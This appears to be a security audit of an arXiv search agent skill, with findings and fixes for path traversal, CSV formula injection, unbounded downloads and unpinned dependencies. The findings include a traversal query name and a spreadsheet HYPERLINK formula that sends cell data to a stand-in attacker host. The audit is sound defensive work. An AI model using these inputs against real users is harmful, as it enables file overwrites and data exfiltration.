Back to skill

Security audit

arXiv Search Master

Security checks for vulnerabilities and agentic risk

Overview

The skill has a coherent arXiv research purpose, but unsafe path handling can let crafted input write files outside the chosen output directory.

Install only in an isolated environment and avoid processing untrusted JSONL or metadata files until filenames and arXiv IDs are validated and output paths are constrained. Review output directories, avoid --no-skip-existing unless intentional, and prefer pinned dependencies before use.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (5)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/batch_search.py:152
Finding
Batch Query Names Permit Arbitrary File Writes Through Path Traversal<![CDATA[ ## Vulnerability Details **File Location**: `scripts/batch_search.py:152, 221-222` **Vulnerability Type**: Path traversal and arbitrary file overwrite **Risk Level**: High ### Vulnerable Code ```python query_name = query_spec.get("name", f"query_{index:03d}") ``` ```python if save_individual: output_file = self.output_dir / f"{result['query_name']}.json" save_json(result["results"], output_file) ``` The invoked helper also creates parent directories and opens the destination in overwrite mode: ```python def save_json(data: Any, filepath: str, indent: int = 2, ensure_ascii: bool = False) -> None: filepath = Path(filepath) filepath.parent.mkdir(parents=True, exist_ok=True) with open(filepath, "w", encoding="utf-8") as f: json.dump(data, f, indent=indent, ensure_ascii=ensure_ascii, default=str) ``` ### Technical Analysis The `name` property comes directly from an input JSONL query specification. It is used as part of an output path without rejecting absolute paths, path separators, or `..` components. `pathlib.Path` does not automatically restrict a joined path to its intended parent directory. For example, a name such as `../../outside/result` produces: ```text <output_dir>/../../outside/result.json ``` The operating system resolves the traversal components before the file is written. In addition, `save_json()` creates missing parent directories and opens existing files with mode `"w"`, allowing them to be truncated and replaced. ### Attack Path 1. An attacker supplies or modifies a batch-search JSONL file. 2. The attacker sets the query name to a traversal value, such as: ```json {"query":"machine learning","name":"../../target"} ``` 3. The victim runs: ```bash python scripts/batch_search.py --input malicious.jsonl --output output/metadata ``` 4. The search succeeds, preserving the malicious `query_name`. 5. The program constructs `output/metadata/../../target.json`. 6. `save_json()` resolve ...[truncated 576 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Do not use the raw `name` field as a filesystem path. - Restrict generated names to a conservative allowlist such as letters, digits, underscores, and hyphens. - Reject empty names, absolute paths, path separators, drive prefixes, and `..` components. - Resolve the final destination and verify that it remains below the resolved output directory. - Consider using exclusive creation when overwriting existing results is not explicitly requested. Example hardening: ```python import re from pathlib import Path def safe_output_path(output_dir: Path, query_name: str) -> Path: if not isinstance(query_name, str): raise ValueError("Query name must be a string") safe_name = re.sub(r"[^A-Za-z0-9_-]", "_", query_name).strip("_") if not safe_name: raise ValueError("Query name does not contain a valid filename") base = output_dir.resolve() destination = (base / f"{safe_name}.json").resolve() if destination.parent != base: raise ValueError("Output path escapes the configured directory") return destination ``` Apply this validation before every individual-result write. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/summarize.py:397
Finding
Unvalidated arXiv IDs Permit Output-Directory Traversal<![CDATA[ ## Vulnerability Details **File Location**: `scripts/utils.py:174-185`, `scripts/download.py:145-147`, `scripts/summarize.py:397-400` **Vulnerability Type**: Path traversal caused by insufficient identifier validation **Risk Level**: High ### Vulnerable Code The parser extracts or normalizes text but never verifies that the final value is a valid arXiv identifier: ```python if arxiv_id.startswith(("http://", "https://")): parsed = urlparse(arxiv_id) path = parsed.path match = re.search(r"/(?:abs|pdf)/([^?#]+?)(?:v\d+)?(?:\.pdf)?$", path) if match: arxiv_id = match.group(1) arxiv_id = re.sub(r"v\d+$", "", arxiv_id) return arxiv_id ``` The downloader directly embeds this unvalidated value into a filename when no explicit filename is supplied: ```python if not filename: if paper_metadata: filename = self._generate_filename(paper_metadata) else: filename = f"{normalized_id}.pdf" filepath = self.output_dir / filename ``` The summarizer similarly uses metadata-controlled identifiers as output paths: ```python arxiv_id = summary["arxiv_id"] paper_file = output_dir / f"{arxiv_id}_summary.json" save_json(summary, paper_file) ``` ### Technical Analysis `parse_arxiv_id()` removes a trailing version suffix and optionally extracts a URL path, but it accepts arbitrary remaining strings. In particular, it does not reject path separators, absolute paths, or `..` components. The summarization workflow can load `arxiv_id` values from a user-provided metadata JSON file. Those values are copied into summaries and then interpolated directly into output filenames. Consequently, traversal does not depend on a malicious response from arXiv. The direct-ID downloader contains the same unsafe filename construction. Exploitation of that branch also depends on the corresponding request completing successfully because the file is opened after the HTTP response passes `raise_for_status()`. ### Attack Path A direct summa ...[truncated 1323 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Validate identifiers against explicit modern and legacy arXiv formats before network or filesystem use. - Reject absolute paths, backslashes, unexpected slashes, null bytes, and traversal components. - Keep the canonical identifier separate from the local filename. - Replace the legacy identifier slash with a safe separator when generating filenames. - Resolve every final output path and verify containment below the intended output directory. For example: ```python MODERN_ID = re.compile(r"^\d{4}\.\d{4,5}(?:v\d+)?$") LEGACY_ID = re.compile(r"^[A-Za-z0-9.-]+/\d{7}(?:v\d+)?$") def validate_arxiv_id(value: str) -> str: value = parse_arxiv_id(value).strip() if not (MODERN_ID.fullmatch(value) or LEGACY_ID.fullmatch(value)): raise ValueError("Invalid arXiv identifier") return value def arxiv_id_filename(value: str) -> str: canonical = validate_arxiv_id(value) return canonical.replace("/", "_") ``` Use the safe filename representation in both `download.py` and `summarize.py`, followed by a resolved-path containment check. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/metadata.py:224
Finding
CSV Metadata Export Is Vulnerable to Spreadsheet Formula Injection<![CDATA[ ## Vulnerability Details **File Location**: `scripts/metadata.py:224-238` **Vulnerability Type**: CSV/spreadsheet formula injection **Risk Level**: Medium ### Vulnerable Code ```python for paper in papers: row = { "arxiv_id": paper.get("arxiv_id", ""), "title": paper.get("title", ""), "authors": "; ".join([a.get("name", "") for a in paper.get("authors", [])]), "published_date": paper.get("published_date", ""), "updated_date": paper.get("updated_date", ""), "primary_category": paper.get("primary_category", ""), "categories": ", ".join(paper.get("categories", [])), "arxiv_url": paper.get("arxiv_url", ""), "pdf_url": paper.get("pdf_url", ""), "doi": paper.get("doi", ""), "abstract": paper.get("abstract", "")[:1000], } writer.writerow(row) ``` ### Technical Analysis The exporter accepts metadata from arXiv search results or arbitrary local JSON files. It writes string values directly through `csv.DictWriter` without neutralizing spreadsheet formula prefixes. CSV quoting prevents delimiters from breaking the CSV structure, but it does not prevent spreadsheet programs from evaluating cells that begin with characters such as: ```text = + - @ ``` A malicious title, author name, DOI, abstract, or other field can therefore be interpreted as a formula when a user opens the exported file in spreadsheet software. ### Attack Path 1. An attacker supplies a metadata JSON file containing a field such as: ```json { "papers": [ { "arxiv_id": "2401.00001", "title": "=HYPERLINK(\"https://attacker.example/collect?data=\"&A1,\"Open\")", "authors": [], "categories": [] } ] } ``` 2. The victim exports it: ```bash python scripts/metadata.py --input malicious.json --format csv --output papers.csv ``` 3. The formula is written unchanged into a CSV cell. 4. The victim opens `papers.csv` in ...[truncated 737 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Neutralize any spreadsheet cell whose first non-whitespace character is `=`, `+`, `-`, or `@`. Apply the protection to every string field, including author names and list-derived values. Example: ```python def neutralize_spreadsheet_formula(value): if value is None: return "" value = str(value) if value.lstrip().startswith(("=", "+", "-", "@")): return "'" + value return value ``` Apply this function to each exported cell before calling `writer.writerow()`. Additional measures: - Document that imported metadata is untrusted. - Offer a safe CSV mode enabled by default. - Add tests for leading whitespace followed by formula characters. - If exact raw values must be preserved, provide JSON as the preferred interchange format and clearly warn users before producing spreadsheet-oriented files. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/download.py:155
Finding
PDF Downloads Lack Size and Content Validation<![CDATA[ ## Vulnerability Details **File Location**: `scripts/download.py:155-185` **Vulnerability Type**: Unbounded resource consumption and insufficient response validation **Risk Level**: Medium ### Vulnerable Code ```python response = self.session.get( pdf_url, stream=True, verify=self.verify_ssl, timeout=60, ) response.raise_for_status() total_size = int(response.headers.get("content-length", 0)) with open(filepath, "wb") as f: if total_size > 0: with tqdm( desc=filename, total=total_size, unit="iB", unit_scale=True, unit_divisor=1024, leave=False, ) as pbar: for chunk in response.iter_content(chunk_size=self.chunk_size): size = f.write(chunk) pbar.update(size) else: for chunk in response.iter_content(chunk_size=self.chunk_size): f.write(chunk) ``` ### Technical Analysis The downloader streams response data until the server ends the connection. `Content-Length` is used only for progress display and is not treated as an enforced limit. If the header is missing, incorrect, or deceptively small, the program continues writing without a byte cap. The downloader also does not verify: - That the response's media type is a PDF. - That the payload starts with a valid PDF signature. - That the final size falls within a configured limit. - That sufficient disk space is available. A request timeout does not bound the total body size; a server can continue sending data while satisfying read-timeout behavior. ### Attack Path 1. The downloader requests an arXiv PDF URL. 2. A compromised upstream, unsafe TLS configuration, proxy, or abnormal redirect endpoint returns a very large or indefinite response. 3. The response either omits `Content-Length` or supplies a value that is not enforced. 4. The streaming loop writes every received chunk. 5. The destination filesystem fills or the proces ...[truncated 580 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Introduce a conservative, configurable maximum PDF size. - Reject responses whose declared `Content-Length` exceeds the limit. - Count bytes during streaming and abort if the actual body exceeds the limit. - Delete partial files after every validation or transfer failure. - Validate the response media type and the `%PDF-` signature. - Write to a temporary file in the destination directory, validate it, then atomically rename it. - Consider disabling redirects or validating each redirect destination against an allowlist. Example byte-limit enforcement: ```python MAX_PDF_BYTES = 100 * 1024 * 1024 declared_size = int(response.headers.get("content-length", 0) or 0) if declared_size > MAX_PDF_BYTES: raise ValueError("PDF exceeds maximum permitted size") written = 0 with open(temp_path, "wb") as f: for chunk in response.iter_content(chunk_size=self.chunk_size): if not chunk: continue written += len(chunk) if written > MAX_PDF_BYTES: raise ValueError("Downloaded content exceeds maximum permitted size") f.write(chunk) ``` After downloading, verify the signature before moving the temporary file to its final destination. ]]>

T08 · Insecure Dependencies

Warning
Location
requirements.txt:4
Finding
Broad Unpinned and Unused Dependencies Expand the Supply-Chain Attack Surface<![CDATA[ ## Vulnerability Details **File Location**: `requirements.txt:4-31`; installation instructions in `README.md:19-23` and `SKILL.md:35-39` **Vulnerability Type**: Non-reproducible dependency installation and unnecessary supply-chain exposure **Risk Level**: Medium ### Vulnerable Code The documentation directs users to install the dependency set directly: ```bash pip install -r requirements.txt ``` The requirement file uses minimum-version constraints without upper bounds, hashes, or a lock file: ```text arxiv>=1.4.8 requests>=2.28.0 urllib3>=1.26.0 pandas>=1.5.0 numpy>=1.23.0 PyYAML>=6.0 tqdm>=4.64.0 PyPDF2>=3.0.0 pdfminer.six>=20221105 python-dateutil>=2.8.0 colorlog>=6.7.0 click>=8.1.0 ``` ### Technical Analysis Minimum-only version constraints allow future package and transitive-dependency releases to be selected without review. The absence of cryptographic hashes means package artifacts are not verified against a known approved set, and the absence of a lock file makes installations non-reproducible. Static import review found direct use of `arxiv`, `requests`, `tqdm`, and optional `colorlog`. The included implementation does not import pandas, numpy, PyYAML, PyPDF2, pdfminer.six, python-dateutil, or click. Installing these unused packages unnecessarily increases the number of package artifacts and transitive dependencies that execute installation logic or become available to the runtime. No specific malicious dependency was identified in the audited files. The risk arises from the broad, mutable, and unnecessary installation surface. ### Attack Path 1. A user follows the documented installation command. 2. `pip` resolves any versions satisfying the minimum constraints from the configured package index. 3. Future or compromised releases and their transitive dependencies may be selected because no reviewed upper versions, lock file, or hashes constrain resolution. 4. Package installation or build logic executes with the privileges o ...[truncated 690 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Remove dependencies not imported or otherwise required by the current implementation. - Maintain a minimal runtime dependency list containing only reviewed packages. - Pin exact reviewed versions in a lock file. - Use cryptographic hashes for deployment installations, such as `pip install --require-hashes`. - Separate optional functionality into explicit optional dependency groups. - Run dependency vulnerability and license scanning in continuous integration. - Install dependencies in an isolated virtual environment under a non-privileged account. - Define a controlled upgrade process that reviews and tests dependency changes before deployment. A reduced dependency set should initially be based on the packages demonstrably used by the current source code: `arxiv`, `requests`, `tqdm`, and optional `colorlog`, along with only the transitive dependencies required by their pinned versions. ]]>
Vulnerability Patterns
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (34)

Natural-Language Policy Violations

Medium
Confidence
90% confidence
Finding
The README is entirely presented in Chinese and does not indicate that other languages are supported or that the Chinese-only presentation is an intentional, justified locale restriction. Per the policy rule, forcing a specific language without user opt-in can be a natural-language policy violation.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
# 执行模块
    import subprocess

    return subprocess.call([sys.executable] + new_argv)


if __name__ == "__main__":
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Natural-Language Policy Violations

Medium
Confidence
94% confidence
Finding
This code file contains natural-language strings and documentation that require Chinese comprehension for safe use, including argument explanations and operational behavior. Under the policy, forcing a specific language without opt-in is a natural-language policy violation unless the locale restriction is explicitly justified.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
This is a natural-language policy issue because the file forces a single locale for descriptions and operational messages. Users who do not read Chinese are not given an alternative language option or any documented opt-in to this locale restriction.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
This code file contains natural-language documentation, help text, and runtime messages that force a specific language/locale for users. Under the policy, language constraints should be optional or clearly justified; here no user opt-in or region-specific justification is provided.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
This Python skill uses Chinese throughout its module docstring, CLI help text, and output strings, which imposes a specific language on users. The file does not offer any language selection or explain that the tool is intentionally limited to a Chinese-speaking context, so it conflicts with the language/locale policy criteria.

Natural-Language Policy Violations

Medium
Confidence
92% confidence
Finding
This code file contains natural-language documentation and comments that force a specific language/locale experience without offering an alternative or explaining a region-specific requirement. Under the language/locale policy, hard-coding one language without user opt-in is a policy concern.

Missing User Warnings

Low
Confidence
85% confidence
Finding
This markdown file documents commands that download PDFs and save outputs to local files and directories, but it does not include any warning or disclosure about creating files on disk or performing bulk downloads. Under the markdown-specific warning criterion, user-facing documentation should mention behaviors that affect local data or system state.

Missing User Warnings

Low
Confidence
88% confidence
Finding
This markdown file describes downloading PDFs from arXiv and saving them to local output directories, including an option to overwrite existing files with `--no-skip-existing`. While the behavior is functionally documented, there is no explicit warning section calling out that the skill performs network requests and writes files to disk, which could affect user data or system state.

Missing User Warnings

Low
Confidence
79% confidence
Finding
The workflow example instructs users to create query files, write search results, download PDFs, generate overview JSON, and export BibTeX, all of which modify the local filesystem. Although these actions are shown in examples, the markdown does not include a user-facing warning about the volume of generated files or the need to choose safe output locations.

Natural-Language Policy Violations

Low
Confidence
97% confidence
Finding
The user-facing natural-language content in the module docstring, CLI description, help text, and examples is entirely in Chinese, with no indication that other languages are supported or optional. This creates a locale/language policy issue because the skill implicitly forces a specific language for interaction without offering user choice or documenting a justified locale restriction.

Natural-Language Policy Violations

Low
Confidence
89% confidence
Finding
This requirements file includes multiple natural-language comments in Chinese (for example, dependency section headers), which imposes a specific language choice on readers without offering an alternative or documenting a locale-specific purpose. Under the policy rule for language or locale constraints, this is a natural-language policy issue because the file gives no indication that Chinese is required or optional.

Unpinned Dependencies

Low
Category
Supply Chain
Content
# arXiv Search Skill Dependencies

# 核心 arXiv API
arxiv>=1.4.8

# HTTP 请求
requests>=2.28.0
Confidence
95% confidence
Finding
Using a lower-bound specifier like `arxiv>=1.4.8` allows future installs to resolve to different versions over time, making builds non-reproducible and potentially pulling in vulnerable or incompatible releases. In a skill that depends on external packages and remote API access, this weakens supply-chain assurance even though it is not direct code execution by itself.

Unpinned Dependencies

Low
Category
Supply Chain
Content
arxiv>=1.4.8

# HTTP 请求
requests>=2.28.0
urllib3>=1.26.0

# 数据处理
Confidence
99% confidence
Finding
`requests>=2.28.0` is not pinned, so installations may silently select different future versions, including releases later found vulnerable. Because this package handles outbound HTTP and may process credentials, transport settings, and redirects, dependency drift increases the security risk of the skill's network operations.

Unverifiable Dependency: requests has 16 known advisory(ies) (CVE-2014-1830 (Exposure of Sensitive Information to an Unauthorized Actor in Requests); CVE-2024-47081 (Requests vulnerable to .netrc credentials leak via malicious URLs); CVE-2024-35195 (Requests `Session` object does not verify requests after making first request wi) +13 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
97% confidence
Finding
The manifest references `requests` without an exact version, and the package has multiple known advisories across versions. Without pinning, it is impossible to verify whether deployed environments are selecting a fixed release or an affected one, leaving network behavior and credential handling security uncertain.

Unpinned Dependencies

Low
Category
Supply Chain
Content
# HTTP 请求
requests>=2.28.0
urllib3>=1.26.0

# 数据处理
pandas>=1.5.0
Confidence
99% confidence
Finding
`urllib3>=1.26.0` permits unbounded version selection, which undermines reproducibility and can expose the skill to future vulnerable resolver outcomes. Since `urllib3` is core HTTP infrastructure, flaws in redirect handling, decompression, TLS, or proxies could materially affect security when the skill fetches remote content.

Unverifiable Dependency: urllib3 has 16 known advisory(ies) (CVE-2025-66471 (urllib3 streaming API improperly handles highly compressed data); CVE-2024-37891 (urllib3's Proxy-Authorization request header isn't stripped during cross-origin ); CVE-2026-21441 (Decompression-bomb safeguards bypassed when following HTTP redirects (streaming ) +13 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
98% confidence
Finding
`urllib3` has numerous advisories, and because the dependency is not pinned, the actual installed version cannot be verified as safe. Given this library's role in HTTP transport, proxy handling, redirects, and decompression, unresolved version ambiguity can directly affect the safety of remote content retrieval.

Unpinned Dependencies

Low
Category
Supply Chain
Content
urllib3>=1.26.0

# 数据处理
pandas>=1.5.0
numpy>=1.23.0

# YAML 配置
Confidence
93% confidence
Finding
`pandas>=1.5.0` is unpinned, making the environment non-deterministic and reducing confidence that the installed version has been tested or vetted for security. The direct risk is lower than for network-facing packages, but unpinned data-processing libraries can still introduce vulnerable transitive behavior or unsafe parsing features over time.

Unverifiable Dependency: pandas has 1 known advisory(ies) (CVE-2020-13091 (** DISPUTED ** pandas through 1.0.3 can unserialize and execute commands from an)), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
88% confidence
Finding
`pandas` has known historical advisories, and the unpinned requirement prevents confirming whether affected versions might be installed. The practical impact here is lower than for transport or parser libraries, but unverifiable versions still represent weak dependency governance.

Unpinned Dependencies

Low
Category
Supply Chain
Content
# 数据处理
pandas>=1.5.0
numpy>=1.23.0

# YAML 配置
PyYAML>=6.0
Confidence
93% confidence
Finding
`numpy>=1.23.0` does not lock installs to a specific release, so future environments may resolve unpredictably. While the package is primarily computational, supply-chain and parser/memory-safety concerns still make unpinned versions an avoidable risk.

Unverifiable Dependency: numpy has 16 known advisory(ies) (CVE-2014-1859 (Numpy arbitrary file write via symlink attack); CVE-2021-41495 (NumPy NULL Pointer Dereference); CVE-2021-33430 (NumPy Buffer Overflow (Disputed)) +13 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
90% confidence
Finding
Because `numpy` is not pinned, the environment may resolve to versions with known advisories or other unreviewed behavior. Even though exploitation paths may be narrower in this context, the inability to verify the installed version is a real supply-chain weakness.

Unpinned Dependencies

Low
Category
Supply Chain
Content
numpy>=1.23.0

# YAML 配置
PyYAML>=6.0

# 并行处理
tqdm>=4.64.0
Confidence
99% confidence
Finding
`PyYAML>=6.0` is unpinned, which is particularly concerning because YAML libraries have a history of unsafe deserialization issues. Even if the current code uses safe loaders, allowing uncontrolled version drift reduces assurance that future installs retain safe defaults and fixes.

Unverifiable Dependency: PyYAML has 8 known advisory(ies) (CVE-2019-20477 (Deserialization of Untrusted Data in PyYAML); CVE-2020-1747 (Improper Input Validation in PyYAML); CVE-2020-14343 (Improper Input Validation in PyYAML) +5 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
98% confidence
Finding
`PyYAML` has a significant history of deserialization-related advisories, and the unpinned manifest makes it impossible to confirm that only safe releases are installed. In any skill that may consume YAML configuration, this context makes unverifiable versioning more dangerous than a generic library drift issue.

Unpinned Dependencies

Low
Category
Supply Chain
Content
PyYAML>=6.0

# 并行处理
tqdm>=4.64.0

# PDF 处理
PyPDF2>=3.0.0
Confidence
92% confidence
Finding
`tqdm>=4.64.0` is unpinned, so builds may vary over time and pick up vulnerable or behavior-changing releases. The package is lower risk than core network or parser libraries, but it still expands the attack surface and weakens software supply-chain control.

Unverifiable Dependency: tqdm has 4 known advisory(ies) (CVE-2024-34062 (tqdm CLI arguments injection attack); CVE-2016-10075 (TDQM Arbitrary Code Execution); CVE-2016-10075 (The tqdm._version module in tqdm versions 4.4.1 and 4.10 allows local users to e) +1 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
87% confidence
Finding
`tqdm` has known advisories and the dependency is not pinned, so the actual installed version cannot be trusted as reviewed. The contextual risk is limited, but leaving even lower-risk packages unverifiable contributes to weak supply-chain controls.

Static analysis

No suspicious patterns detected.